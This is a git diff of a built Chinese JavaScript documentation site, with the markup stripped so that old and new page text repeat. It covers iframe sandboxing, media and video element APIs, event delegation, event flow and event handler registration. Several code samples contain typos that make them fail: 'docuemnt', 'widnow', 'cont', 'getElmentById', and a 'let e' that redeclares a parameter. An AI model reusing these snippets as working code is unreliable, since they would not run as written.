                                                        • 框架文档只能导航自己,而不能导航其顶级父文档。设置 window.top.location 将抛出一个异常,点击带有 target="_top" 的链接将不起作用
                                                        • 自动触发的功能(自动聚焦的表单元素、自动播放视频等)将被阻止
                                                        • 无法获得 Pointer Lock
                                                        • 在框架文档包含的 iframes 上忽略 seamless 属性

                                                        文件被加载到一个完全沙箱化的 iframe 中,带来的风险非常小,但这是十分苛刻的。当然,这样做也没有太大的价值:对于一些静态内容,可以使用一个完整的沙箱,但大多数情况下,可以放宽松一些。

                                                        通过设置以下值控制:

                                                        • allow-same-orign:允许将内容作为普通来源对待,否则会被设为来自一个独立的源
                                                        • allow-top-navigation:允许包含文档导航内容
                                                        • allow-forms:允许表单提交
                                                        • allow-scripts:允许脚本执行
                                                        • allow-modals:允许模态窗口
                                                        • allow-orientation-lock:允许锁定父窗口屏幕方向
                                                        • allow-pointer-lock:允许使用指针锁 API
                                                        • allow-popups:允许弹出窗口
                                                        • allow-popups-to-escape-sandbox:允许弹出沙箱窗口
                                                        • allow-presentation:允许控制 Session
                                                        • ”“:允许上述所有规则,默认

                                                        方法

                                                        导航方法

                                                        • reload 重新加载
                                                        • stop 停止加载
                                                        • getCanGoBack 是否可后退
                                                        • goBack 后退
                                                        • getCanGoForward 是否可前进
                                                        • goForward 前进

                                                        管理方法

                                                        • executeScript 指定加载完成后执行的脚本
                                                        • purgeHistroy 清理与浏览器有关的资源
                                                        • setVisible 修改浏览器 iframe 的可见性,这会影响资源分配和函数的资源占用率
                                                        • getVisible 指示当前浏览器 iframe 的可见性
                                                        • setActive 设置当前 iframe 为活动的 frame,对进程管理器如何划分优先级有影响
                                                        • getActive 指示当前浏览器 iframe 是否为当前活动的 framesetInputMethodActive 设置当前浏览器 iframe 是活动的输入法编辑器窗口而其他不适 setNfcFocus

                                                        音频相关方法

                                                        • getVolume 当前音量
                                                        • setVolume 设置音量
                                                        • mute 播放所有音频静音
                                                        • unmute 取消播放发所有音频的静音
                                                        • getMuted 指示内嵌网页是否被静音

                                                        搜索方法

                                                        • findAll
                                                        • findNext
                                                        • clearMatch

                                                        事件相关方法

                                                        • sendMouseEvent
                                                        • sendTouchEvent
                                                        • addNextPaintListener
                                                        • removeNextPainListener

                                                        工具方法

                                                        • download
                                                        • getContentDimensions
                                                        • getManifest
                                                        • getScreenshot
                                                        • getStructuredData
                                                        • zoom

                                                        参考资料:

                                                        +

                                                        HTMLIFrameElement

                                                        HTML 文档中的 <iframe> 元素

                                                        <iframe src="https://blog.5udou.cn/"></iframe>

                                                        属性

                                                        属性描述
                                                        src嵌入网页内容的地址
                                                        srcdoc网页要显示的内容
                                                        name内嵌的浏览器内容的目标名称
                                                        sandbox提供额外的限制
                                                        allow指定特性策略
                                                        allowfullscreen是否允许全凭显示
                                                        width内嵌网页的宽度
                                                        height内嵌网页的高度
                                                        referrerpolicy指定获取资源时携带的 referer,默认是 no-referrer-when-downgrade(也就是协议降级时不发送 Referrer 信息)
                                                        loading
                                                        contentWindow内嵌网页执行上下文的 window 对象
                                                        contentDocument内嵌网页执行上下文的 document 对象

                                                        沙箱模式

                                                        iframe 的沙箱模式可以提供一些额外的配置,当你把 iframe 置为沙箱的时候,意味着沙箱内的内容的行为 全凭你控制 了。

                                                        例如在 iframe 中设置:

                                                        <iframe sandbox src="http://127.0.0.1:3000/iframe1.html"></iframe>

                                                        框架文件将会被完全沙箱化,并有以下限制:

                                                        • JavaScript 将不会在框架文档中执行。这不仅包括通过 script 标签加载的 JavaScript 脚本文件,还包括内联事件处理程序和 javascript: URLs。这还意味着 noscript 标签中的内容会被显示,就像用户自己禁用了脚本一样
                                                        • 框架文档被加载到唯一的源,这意味着所有同源检查都将失败;唯一的源不匹配其他源,甚至它们自己。在其他影响中,这意味着文档不能访问其他源的 cookie 或任何其他存储机制( DOM 存储、索引数据库等)中的数据
                                                        • 框架文档不能创建新窗口或对话框(例如,通过 window.opentarget="blank"
                                                        • 表单不能提交
                                                        • 插件不会被加载
                                                        • 框架文档只能导航自己,而不能导航其顶级父文档。设置 window.top.location 将抛出一个异常,点击带有 target="_top" 的链接将不起作用
                                                        • 自动触发的功能(自动聚焦的表单元素、自动播放视频等)将被阻止
                                                        • 无法获得 Pointer Lock
                                                        • 在框架文档包含的 iframes 上忽略 seamless 属性

                                                        文件被加载到一个完全沙箱化的 iframe 中,带来的风险非常小,但这是十分苛刻的。当然,这样做也没有太大的价值:对于一些静态内容,可以使用一个完整的沙箱,但大多数情况下,可以放宽松一些。

                                                        通过设置以下值控制:

                                                        • allow-same-orign:允许将内容作为普通来源对待,否则会被设为来自一个独立的源
                                                        • allow-top-navigation:允许包含文档导航内容
                                                        • allow-forms:允许表单提交
                                                        • allow-scripts:允许脚本执行
                                                        • allow-modals:允许模态窗口
                                                        • allow-orientation-lock:允许锁定父窗口屏幕方向
                                                        • allow-pointer-lock:允许使用指针锁 API
                                                        • allow-popups:允许弹出窗口
                                                        • allow-popups-to-escape-sandbox:允许弹出沙箱窗口
                                                        • allow-presentation:允许控制 Session
                                                        • ”“:允许上述所有规则,默认

                                                        方法

                                                        导航方法

                                                        • reload 重新加载
                                                        • stop 停止加载
                                                        • getCanGoBack 是否可后退
                                                        • goBack 后退
                                                        • getCanGoForward 是否可前进
                                                        • goForward 前进

                                                        管理方法

                                                        • executeScript 指定加载完成后执行的脚本
                                                        • purgeHistroy 清理与浏览器有关的资源
                                                        • setVisible 修改浏览器 iframe 的可见性,这会影响资源分配和函数的资源占用率
                                                        • getVisible 指示当前浏览器 iframe 的可见性
                                                        • setActive 设置当前 iframe 为活动的 frame,对进程管理器如何划分优先级有影响
                                                        • getActive 指示当前浏览器 iframe 是否为当前活动的 framesetInputMethodActive 设置当前浏览器 iframe 是活动的输入法编辑器窗口而其他不适 setNfcFocus

                                                        音频相关方法

                                                        • getVolume 当前音量
                                                        • setVolume 设置音量
                                                        • mute 播放所有音频静音
                                                        • unmute 取消播放发所有音频的静音
                                                        • getMuted 指示内嵌网页是否被静音

                                                        搜索方法

                                                        • findAll
                                                        • findNext
                                                        • clearMatch

                                                        事件相关方法

                                                        • sendMouseEvent
                                                        • sendTouchEvent
                                                        • addNextPaintListener
                                                        • removeNextPainListener

                                                        工具方法

                                                        • download
                                                        • getContentDimensions
                                                        • getManifest
                                                        • getScreenshot
                                                        • getStructuredData
                                                        • zoom

                                                        参考资料:

                                                        - + diff --git a/document-object-model/element/html-image-element/index.html b/document-object-model/element/html-image-element/index.html index c0b039946..de929e528 100644 --- a/document-object-model/element/html-image-element/index.html +++ b/document-object-model/element/html-image-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLImageElement - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/element/html-media-element/index.html b/document-object-model/element/html-media-element/index.html index 611a0c063..30049bd7d 100644 --- a/document-object-model/element/html-media-element/index.html +++ b/document-object-model/element/html-media-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLMediaElement - JavaScript Guidebook -

                                                        HTMLMediaElement

                                                        HTML 媒体元素接口在属性和方法中添加了 HTML 元素来支持基础的媒体相关的能力,就像 audiovideo 一样。HTML 视频元素和 HTML 音频元素元素都继承自此接口。

                                                        EventTarget <- Node <- Element <- HTMLElement <- HTMLMediaElement

                                                        特性

                                                        从父级 HTMLElementElementNodeEventTarget 继承属性。

                                                        名称类型说明
                                                        audioTracksAudioTrackList
                                                        autoplayBoolean
                                                        bufferedTimeRanges
                                                        controllerMediaController
                                                        controlsBoolean
                                                        crossOriginDOMString
                                                        currentSrcDOMString
                                                        currentTimedouble
                                                        defaultMutedBoolean
                                                        defaultPlaybackRatedouble
                                                        durationdouble
                                                        endedBoolean表示媒体是否已经播放完毕
                                                        errorMediaError表示最近的错误,如果没有错误则值为 null
                                                        initialTime
                                                        loopBoolean
                                                        mediaGroupDOMString
                                                        mediaKeysMediaKeys
                                                        mutedBoolean静音时为 true,否则是 false
                                                        networkState获取媒体时的网络状态
                                                        pausedBoolean指示媒体元素是否被暂停
                                                        playbackRatedouble
                                                        playedTimeRanges媒体可被播放的范围
                                                        preloadDOMString
                                                        readyState
                                                        seekableTimeRanges
                                                        seekingBoolean
                                                        sinkIdDOMString
                                                        srcDOMString
                                                        textTracksTextTrackList
                                                        videoTracksVideoTrackList
                                                        volumedouble表示音频的音量,值从 0.0(静音)到 1.0(最大音量)

                                                        方法

                                                        名称返回值说明
                                                        canPlayType
                                                        fastSeek
                                                        load
                                                        getMetadata
                                                        loadFrom
                                                        pause
                                                        play
                                                        setMediaKeys
                                                        setSinkId

                                                        参考资料:

                                                        +

                                                        HTMLMediaElement

                                                        HTML 媒体元素接口在属性和方法中添加了 HTML 元素来支持基础的媒体相关的能力,就像 audiovideo 一样。HTML 视频元素和 HTML 音频元素元素都继承自此接口。

                                                        EventTarget <- Node <- Element <- HTMLElement <- HTMLMediaElement

                                                        特性

                                                        从父级 HTMLElementElementNodeEventTarget 继承属性。

                                                        名称类型说明
                                                        audioTracksAudioTrackList
                                                        autoplayBoolean
                                                        bufferedTimeRanges
                                                        controllerMediaController
                                                        controlsBoolean
                                                        crossOriginDOMString
                                                        currentSrcDOMString
                                                        currentTimedouble
                                                        defaultMutedBoolean
                                                        defaultPlaybackRatedouble
                                                        durationdouble
                                                        endedBoolean表示媒体是否已经播放完毕
                                                        errorMediaError表示最近的错误,如果没有错误则值为 null
                                                        initialTime
                                                        loopBoolean
                                                        mediaGroupDOMString
                                                        mediaKeysMediaKeys
                                                        mutedBoolean静音时为 true,否则是 false
                                                        networkState获取媒体时的网络状态
                                                        pausedBoolean指示媒体元素是否被暂停
                                                        playbackRatedouble
                                                        playedTimeRanges媒体可被播放的范围
                                                        preloadDOMString
                                                        readyState
                                                        seekableTimeRanges
                                                        seekingBoolean
                                                        sinkIdDOMString
                                                        srcDOMString
                                                        textTracksTextTrackList
                                                        videoTracksVideoTrackList
                                                        volumedouble表示音频的音量,值从 0.0(静音)到 1.0(最大音量)

                                                        方法

                                                        名称返回值说明
                                                        canPlayType
                                                        fastSeek
                                                        load
                                                        getMetadata
                                                        loadFrom
                                                        pause
                                                        play
                                                        setMediaKeys
                                                        setSinkId

                                                        参考资料:

                                                        - + diff --git a/document-object-model/element/html-text-area-element/index.html b/document-object-model/element/html-text-area-element/index.html index d51af0a5b..a5718fc14 100644 --- a/document-object-model/element/html-text-area-element/index.html +++ b/document-object-model/element/html-text-area-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLTextAreaElement - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/element/html-video-element/index.html b/document-object-model/element/html-video-element/index.html index 6f946b024..0c5e7fb35 100644 --- a/document-object-model/element/html-video-element/index.html +++ b/document-object-model/element/html-video-element/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTMLVideoElement - JavaScript Guidebook -

                                                        HTMLVideoElement

                                                        EventTarget <- Node <- Element <- HTMLElement <- HTMLMediaElement <- HTMLVideoElement

                                                        继承其父对象 HTMLMediaElementHTMLElement 的方法。

                                                        height poster videoHeight videoWidth width

                                                        <video />
                                                        • <video> 元素提供了播放、暂停和音量控件来控制视频。
                                                        • <video> 元素也提供了 width 和 height 属性控制视频的尺寸.如果设置的高度和宽度,所需的视频空间会在页面加载时保留。如果没有设置这些属性,浏览器不知道大小的视频,浏览器就不能再加载时保留特定的空间,页面就会根据原始视频的大小而改变。
                                                        • <video></video> 标签之间插入的内容是提供给不支持 video 元素的浏览器显示的。
                                                        • <video> 元素支持多个 <source> 元素。<source> 元素可以链接不同的视频文件。

                                                        可选属性

                                                        属性描述
                                                        autoplayautoplay视频在就绪后马上播放
                                                        controlscontrols向用户显示控件,比如播放按钮
                                                        heightpixels视频播放器的高度
                                                        looploop媒介文件完成播放后再次开始播放
                                                        mutedmuted视频的音视频输出为静音
                                                        posterURL规定视频正在下载时显示的图像,直到用户点击播放按钮
                                                        preloadauto metadata none视频在页面加载时进行加载,并预备播放
                                                        srcURL播放视频的 URL
                                                        widthpixels视频播放器的宽度

                                                        Video 对象

                                                        通过 getElementById() 访问 <video> 元素。

                                                        const video = docuemnt.getElementById('myVideo');

                                                        属性

                                                        属性说明
                                                        audioTracks返回表示可用音频轨道的 AudioTrackList 对象。
                                                        autoplay设置或返回是否在就绪(加载完成)后随即播放视频。
                                                        buffered返回表示视频已缓冲部分的 TimeRanges 对象。
                                                        controller返回表示视频当前媒体控制器的 MediaController 对象。
                                                        controls设置或返回视频是否应该显示控件(比如播放/暂停等)。
                                                        crossOrigin设置或返回视频的 CORS 设置。
                                                        currentSrc返回当前视频的 URL。
                                                        currentTime设置或返回视频中的当前播放位置(以秒计)。
                                                        defaultMuted设置或返回视频默认是否静音。
                                                        defaultPlaybackRate设置或返回视频的默认播放速度。
                                                        duration返回视频的长度(以秒计)。
                                                        ended返回视频的播放是否已结束。
                                                        error返回表示视频错误状态的 MediaError 对象。
                                                        height设置或返回视频的 height 属性的值。
                                                        loop设置或返回视频是否应在结束时再次播放。
                                                        mediaGroup设置或返回视频所属媒介组合的名称。
                                                        muted设置或返回是否关闭声音。
                                                        networkState返回视频的当前网络状态。
                                                        paused设置或返回视频是否暂停。
                                                        playbackRate设置或返回视频播放的速度。
                                                        played返回表示视频已播放部分的 TimeRanges 对象。
                                                        poster设置或返回视频的 poster 属性的值。
                                                        preload设置或返回视频的 preload 属性的值。
                                                        readyState返回视频当前的就绪状态。
                                                        seekable返回表示视频可寻址部分的 TimeRanges 对象。
                                                        seeking返回用户当前是否正在视频中进行查找。
                                                        src设置或返回视频的 src 属性的值。
                                                        startDate返回表示当前时间偏移的 Date 对象。
                                                        textTracks返回表示可用文本轨道的 TextTrackList 对象。
                                                        videoTracks返回表示可用视频轨道的 VideoTrackList 对象。
                                                        volume设置或返回视频的音量。
                                                        width设置或返回视频的 width 属性的值。

                                                        方法

                                                        方法说明
                                                        addTextTrack()向视频添加新的文本轨道。
                                                        canPlayType()检查浏览器是否能够播放指定的视频类型。
                                                        load()重新加载视频元素。
                                                        play()开始播放视频。
                                                        pause()暂停当前播放的视频。

                                                        加载过程

                                                        视频/音频(Audio / Video)在加载过程中,触发的顺序如下:

                                                        1. onloadstart
                                                        2. ondurationchange
                                                        3. onloadedmetadata
                                                        4. onloadeddata
                                                        5. onprogress
                                                        6. oncanplay
                                                        7. oncanplaythrough
                                                        +

                                                        HTMLVideoElement

                                                        EventTarget <- Node <- Element <- HTMLElement <- HTMLMediaElement <- HTMLVideoElement

                                                        继承其父对象 HTMLMediaElementHTMLElement 的方法。

                                                        height poster videoHeight videoWidth width

                                                        <video />
                                                        • <video> 元素提供了播放、暂停和音量控件来控制视频。
                                                        • <video> 元素也提供了 width 和 height 属性控制视频的尺寸.如果设置的高度和宽度,所需的视频空间会在页面加载时保留。如果没有设置这些属性,浏览器不知道大小的视频,浏览器就不能再加载时保留特定的空间,页面就会根据原始视频的大小而改变。
                                                        • <video></video> 标签之间插入的内容是提供给不支持 video 元素的浏览器显示的。
                                                        • <video> 元素支持多个 <source> 元素。<source> 元素可以链接不同的视频文件。

                                                        可选属性

                                                        属性描述
                                                        autoplayautoplay视频在就绪后马上播放
                                                        controlscontrols向用户显示控件,比如播放按钮
                                                        heightpixels视频播放器的高度
                                                        looploop媒介文件完成播放后再次开始播放
                                                        mutedmuted视频的音视频输出为静音
                                                        posterURL规定视频正在下载时显示的图像,直到用户点击播放按钮
                                                        preloadauto metadata none视频在页面加载时进行加载,并预备播放
                                                        srcURL播放视频的 URL
                                                        widthpixels视频播放器的宽度

                                                        Video 对象

                                                        通过 getElementById() 访问 <video> 元素。

                                                        const video = docuemnt.getElementById('myVideo');

                                                        属性

                                                        属性说明
                                                        audioTracks返回表示可用音频轨道的 AudioTrackList 对象。
                                                        autoplay设置或返回是否在就绪(加载完成)后随即播放视频。
                                                        buffered返回表示视频已缓冲部分的 TimeRanges 对象。
                                                        controller返回表示视频当前媒体控制器的 MediaController 对象。
                                                        controls设置或返回视频是否应该显示控件(比如播放/暂停等)。
                                                        crossOrigin设置或返回视频的 CORS 设置。
                                                        currentSrc返回当前视频的 URL。
                                                        currentTime设置或返回视频中的当前播放位置(以秒计)。
                                                        defaultMuted设置或返回视频默认是否静音。
                                                        defaultPlaybackRate设置或返回视频的默认播放速度。
                                                        duration返回视频的长度(以秒计)。
                                                        ended返回视频的播放是否已结束。
                                                        error返回表示视频错误状态的 MediaError 对象。
                                                        height设置或返回视频的 height 属性的值。
                                                        loop设置或返回视频是否应在结束时再次播放。
                                                        mediaGroup设置或返回视频所属媒介组合的名称。
                                                        muted设置或返回是否关闭声音。
                                                        networkState返回视频的当前网络状态。
                                                        paused设置或返回视频是否暂停。
                                                        playbackRate设置或返回视频播放的速度。
                                                        played返回表示视频已播放部分的 TimeRanges 对象。
                                                        poster设置或返回视频的 poster 属性的值。
                                                        preload设置或返回视频的 preload 属性的值。
                                                        readyState返回视频当前的就绪状态。
                                                        seekable返回表示视频可寻址部分的 TimeRanges 对象。
                                                        seeking返回用户当前是否正在视频中进行查找。
                                                        src设置或返回视频的 src 属性的值。
                                                        startDate返回表示当前时间偏移的 Date 对象。
                                                        textTracks返回表示可用文本轨道的 TextTrackList 对象。
                                                        videoTracks返回表示可用视频轨道的 VideoTrackList 对象。
                                                        volume设置或返回视频的音量。
                                                        width设置或返回视频的 width 属性的值。

                                                        方法

                                                        方法说明
                                                        addTextTrack()向视频添加新的文本轨道。
                                                        canPlayType()检查浏览器是否能够播放指定的视频类型。
                                                        load()重新加载视频元素。
                                                        play()开始播放视频。
                                                        pause()暂停当前播放的视频。

                                                        加载过程

                                                        视频/音频(Audio / Video)在加载过程中,触发的顺序如下:

                                                        1. onloadstart
                                                        2. ondurationchange
                                                        3. onloadedmetadata
                                                        4. onloadeddata
                                                        5. onprogress
                                                        6. oncanplay
                                                        7. oncanplaythrough
                                                        - + diff --git a/document-object-model/element/index.html b/document-object-model/element/index.html index ac887e064..41ad612f0 100644 --- a/document-object-model/element/index.html +++ b/document-object-model/element/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/events/event-delegation/index.html b/document-object-model/events/event-delegation/index.html index ec31f7063..1f8d41bae 100644 --- a/document-object-model/events/event-delegation/index.html +++ b/document-object-model/events/event-delegation/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                                        事件委托

                                                        事件委托,又称事件代理,是利用事件冒泡的特性,将本应该绑定在多个元素上的事件绑定在他们的祖先元素上,实现处理程序对多个子孙级元素的某类型事件管理。通俗来说,就是把任意个子孙级元素的响应事件的函数委托到另一个元素(通常为委托元素的祖先元素)。

                                                        优点

                                                        减少内存消耗

                                                        DOM 树层级较深,绑定事件越多,浏览器内存占用越大,严重影响性能。

                                                        在 JavaScript 中,添加到页面上的事件处理程序数量将直接关系到页面的整体运行性能,因为需要不断地与 DOM 节点进行交互,访问 DOM 的次数越多,引起浏览器重绘与重排的次数也就越多,就会延长整个页面的交互就绪时间。如果使用事件委托,就会将所有的操作放到 JavaScript 程序中,与 DOM 操作就只需要交互一次,这样就能大大减少与 DOM 的交互次数,提高性能。

                                                        每个函数都是一个对象,是对象就会占用内存,对象越多,内存占用率就越大,自然性能就越差。

                                                        动态绑定事件

                                                        很多场景需要开发者通过 AJAX 或者用户动态增加或者去除列表项元素,那么在每一次改变的时候都需要重新给新增的元素绑定事件,给即将删去的元素解绑事件。

                                                        如果用了事件委托就没有这种麻烦了,因为事件是绑定在父层的,和目标元素的增减是没有关系的,执行到目标元素是在真正响应执行事件函数的过程中去匹配的。

                                                        所以使用事件在动态绑定事件的情况下是可以减少很多重复工作的。

                                                        事件绑定解决方案

                                                        使用事件委托能有效解决下列问题。

                                                        • 绑定事件越多,浏览器内存占用越大,严重影响性能
                                                        • 局部刷新的盛行,导致每次加载完,都要重新绑定事件
                                                        • 部分浏览器移除元素时,绑定的事件并没有被及时移除,导致的内存泄漏,严重影响性能
                                                        • 大部分局部刷新,只是显示的数据,而操作却是大部分相同的,重复绑定,会导致代码的耦合性过大,严重影响后期的维护

                                                        缺点

                                                        • 诸如 onfocusonblur 之类的事件本身没有事件冒泡机制,所以无法使用事件委托
                                                        • mouseovermousemove 这样的鼠标、滚轮等事件,虽然有事件冒泡,但是只能不断通过位置去计算定位,对性能消耗高,因此也是不适合事件委托的

                                                        使用事件委托的注意事项:

                                                        • 只在必须的地方,使用事件委托,例如:AJAX 的局部刷新区域
                                                        • 尽量的减少绑定的层级,并且不在 <body> 元素上进行绑定(事件委托的原理离不开 DOM 的查找,而浏览器太多层级的查找非常耗性能)
                                                        • 减少绑定的次数,如果可以,那么把多个事件的绑定,合并到一次事件委托中去,由这个事件委托的回调,来进行分发。

                                                        优化手段

                                                        事件委托影响性能的因素:

                                                        • 元素中绑定事件委托的次数
                                                        • 点击的最底层元素,到绑定事件元素之间的 DOM 层数

                                                        结合这两点,可以在必须使用事件委托的场景下,以如下原则优化。

                                                        • 只在必须的地方使用事件委托,比如网络请求的局部刷新区域
                                                        • 尽量低减少绑定的层级,不在 <body> 元素上,进行绑定
                                                        • 减少绑定的次数,如果可以,那么把多个事件的绑定,合并到一次事件委托中去,由这个事件委托的回调,来进行分发

                                                        最佳实践

                                                        查找列表中子项的索引

                                                        <body>
                                                        <ul class="list">
                                                        <li>1</li>
                                                        <li>2</li>
                                                        <li>3</li>
                                                        <!-- 还有很多 -->
                                                        </ul>
                                                        <script type="text/javascript">
                                                        const list = document.querySelector('.list');
                                                        list.addEventListener(
                                                        'click',
                                                        function(e) {
                                                        let e = e || window.event;
                                                        let target = e.target || e.srcElement;
                                                        // 关键判断条件
                                                        const index = [].indexOf.call(target.parentElement.children, target);
                                                        -
                                                        console.log(index);
                                                        },
                                                        false
                                                        );
                                                        </script>
                                                        </body>

                                                        参考文章:

                                                        +
                                                        console.log(index);
                                                        },
                                                        false
                                                        );
                                                        </script>
                                                        </body>

                                                        参考文章:

                                                        - + diff --git a/document-object-model/events/event-flow/index.html b/document-object-model/events/event-flow/index.html index 76d3a9f95..20e173ff0 100644 --- a/document-object-model/events/event-flow/index.html +++ b/document-object-model/events/event-flow/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                                        事件流

                                                        事件流所描述的就是从页面中接受事件的顺序。

                                                        事件冒泡

                                                        IE 的事件流叫做事件冒泡(Event Bubbling),即事件开始时由最具体的元素(文档中嵌套层次最深的那个节点)接收,然后逐级向上传播到较为不具体的节点,直到 document 对象。

                                                        下图展示了事件冒泡的过程:

                                                        事件冒泡

                                                        事件捕获

                                                        Netscape Communicator 团队提出的另一种事件流叫做事件捕获。事件捕获的思想是不太具体的节点应该更早接收到事件,而最具体的节点应该最后接收到事件。事件捕获的用意在于在事件到达预定目标之前就捕获它以同样的 HTML 结构为例,说明事件捕获

                                                        事件捕获

                                                        DOM 事件流

                                                        事件流又称为事件传播,DOM2 级事件规定的事件流包括三个阶段:事件捕获阶段(Capture Phase)、处于目标阶段(Target Phase)和事件冒泡阶段(Bubbling Phase)。

                                                        首先发生的是事件捕获,为截获事件提供了机会。 然后是实际的目标接收到事件。 最后一个阶段是冒泡阶段,可以在这个阶段对事件做出响应。

                                                        DOM事件流
                                                        • 当处于目标阶段,没有捕获与冒泡之分,执行顺序会按照 addEventListener 的添加顺序决定,现添加先执行。
                                                        • 使用 stopPropagation() 取消事件传播时,事件不会被传播给下一个节点,但是,同一个节点上的其他监听器还是会执行。如果想要同一层级的监听器也不执行,可以使用 stopImmediatePropagation()
                                                        • preventDefault() 只是阻止默认行为,跟 JavaScript 的事件传播一点关系都没有。
                                                        • 一旦发起了 preventDefault(),在之后传递下去的事件里面也會有效果。

                                                        最佳实践

                                                        弹窗点击空白关闭

                                                        不实用蒙层实现点击弹窗外空白区域实现关闭弹窗功能。

                                                        const modal = document.querySelector('.modal');
                                                        document.body.addEventListener('click', e => {
                                                        const evt = e || widnow.event;
                                                        const target = e.target || e.srcElement;
                                                        -
                                                        if (modal == target || modal.contains(target)) {
                                                        // 其他操作
                                                        } else {
                                                        // 隐藏 Modal
                                                        }
                                                        });
                                                        +
                                                        if (modal == target || modal.contains(target)) {
                                                        // 其他操作
                                                        } else {
                                                        // 隐藏 Modal
                                                        }
                                                        });
                                                        - + diff --git a/document-object-model/events/event-handlers-or-listener/index.html b/document-object-model/events/event-handlers-or-listener/index.html index 3fbf9d939..66d5c8a23 100644 --- a/document-object-model/events/event-handlers-or-listener/index.html +++ b/document-object-model/events/event-handlers-or-listener/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                                        事件处理程序

                                                        事件就是用户或浏览器自身执行的某种动作。诸如 click、load 和 mouseover,都是事件的名字。而响应某个事件的函数就叫做事件处理程序(或事件侦听器)。事件处理程序的名字以“on”开头,因此 click 事件的事件处理程序就是 onclick,load 事件的事件处理程序就是 onload。为事件指定处理程序的方式有好几种

                                                        • HTML 事件处理程序
                                                        • DOM0 级事件处理程序
                                                        • DOM2 级事件处理程序
                                                        • IE 事件处理程序
                                                        • 跨浏览器的事件处理程序

                                                        HTML 事件处理程序

                                                        某个元素支持的每种事件,都可以使用一个与相应事件处理程序同名的 HTML 特性来指定。这个特性的值应该是能够执行的 JavaScript 代码。

                                                        <div onclick="alert(event.type)"></div>

                                                        在事件处理程序函数内部,this 值等于事件的目标元素。

                                                        <div id="box" onclick="this.innerHTML+= '1';"></div>

                                                        DOM0 级事件处理程序

                                                        通过 JavaScript 指定事件处理程序的传统方式,就是将一个函数赋值给一个事件处理程序属性。这种为事件处理程序赋值的方法是在第四代 Web 浏览器中出现的,而且至今仍然为所有现代浏览器所支持。

                                                        每个元素都有自己的事件处理程序属性,这些属性通常全部小写,将这种属性的值设置为一个函数,就可以指定事件处理程序。

                                                        以 DOM0 级方式添加的事件处理程序会在事件流的冒泡阶段被处理。

                                                        <div id="box"></div>
                                                        const box = document.querySelector('#box');
                                                        box.onclick = function() {
                                                        this.innerHTML += '1';
                                                        };

                                                        删除事件处理程序:可以通过将事件处理程序属性设置为 null 来删除事件处理程序。

                                                        box.onclick = null;

                                                        缺点:DOM0 级事件处理程序的缺点是围绕着每个事件目标对于每种事件类型只能添加一个事件处理程序

                                                        DOM2 级事件处理程序

                                                        DOM2 级事件处理程序属于 W3C 标准模型,现代浏览器(除 IE6-8 之外的浏览器)都支持该模型。在该事件模型中,一次事件共有三个过程:

                                                        • 事件捕获阶段:事件从文档节点一直向下传播到目标元素,依次检查经过的节点是否绑定了事件监听函数,如果有则执行
                                                        • 事件处理阶段:事件到达目标元素,触发目标元素的监听函数。
                                                        • 事件冒泡阶段:事件从目标元素冒泡到文档节点,依次检查经过的节点是否绑定了事件监听函数,如果有则执行。

                                                        DOM2 级事件处理程序定义了两个方法用于处理指定和删除事件处理程序的操作:

                                                        绑定方式

                                                        element.addEventListener(eventType, handler, useCapture);

                                                        移除方式

                                                        element.removeEventListener(eventType, handler, useCapture);

                                                        所有 DOM 节点中都包含这两个方法,并且它们都接受 3 个参数:要处理的事件名、作为事件处理程序的函数和一个布尔值。最后的布尔值参数如果是 true,表示在捕获阶段调用事件处理程序;如果是 false,表示在冒泡阶段调用事件处理程序。若最后的布尔值不填写,则和 false 效果一样。

                                                        参数传递

                                                        如果希望向监听函数传递参数,可以用匿名函数包装一下监听函数

                                                        <div id="box" style="height:30px;width:200px;background-color:pink;"></div>
                                                        <script>
                                                        box.addEventListener(
                                                        'click',
                                                        function() {
                                                        test('123');
                                                        },
                                                        false
                                                        );
                                                        function test(x) {
                                                        box.innerHTML += x;
                                                        }
                                                        </script>

                                                        注销事件绑定

                                                        通过 addEventListener() 添加的事件处理程序只能使用 removeEventListener() 来移除。

                                                        • 移除时传入的参数与添加处理程序时使用的参数相同
                                                        • addEventListener() 添加的匿名函数将无法移除
                                                        <div id="box"></div>

                                                        以下无效:

                                                        box.addEventListener(
                                                        'click',
                                                        function() {
                                                        this.innerHTML += '1';
                                                        },
                                                        false
                                                        );
                                                        box.removeEventListener(
                                                        'click',
                                                        function() {
                                                        this.innerHTML += '1';
                                                        },
                                                        false
                                                        );

                                                        以下有效:

                                                        const handle = function() {
                                                        this.innerHTML += '1';
                                                        };
                                                        -
                                                        box.addEventListener('click', handle, false);
                                                        box.removeEventListener('click', handle, false);

                                                        IE 事件处理程序

                                                        IE 事件模型共有两个过程:

                                                        • 事件处理阶段:事件到达目标元素,触发目标元素的监听函数。
                                                        • 事件冒泡阶段:事件从目标元素冒泡到文档节点,依次检查经过的节点是否绑定了事件监听函数,如果有则执行。

                                                        事件绑定:

                                                        attachEvent(eventType, handler);

                                                        事件移除:

                                                        detachEvent(evnetType, handler);

                                                        参数说明:

                                                        • eventType:指定事件类型
                                                        • handler:事件处理函数
                                                        // Example
                                                        cont btn = document.getElmentById('.btn');
                                                        btn.attachEvent('onclick', showMessage);
                                                        btn.detachEvent('onclick', showMessage);

                                                        跨浏览器的事件处理程序

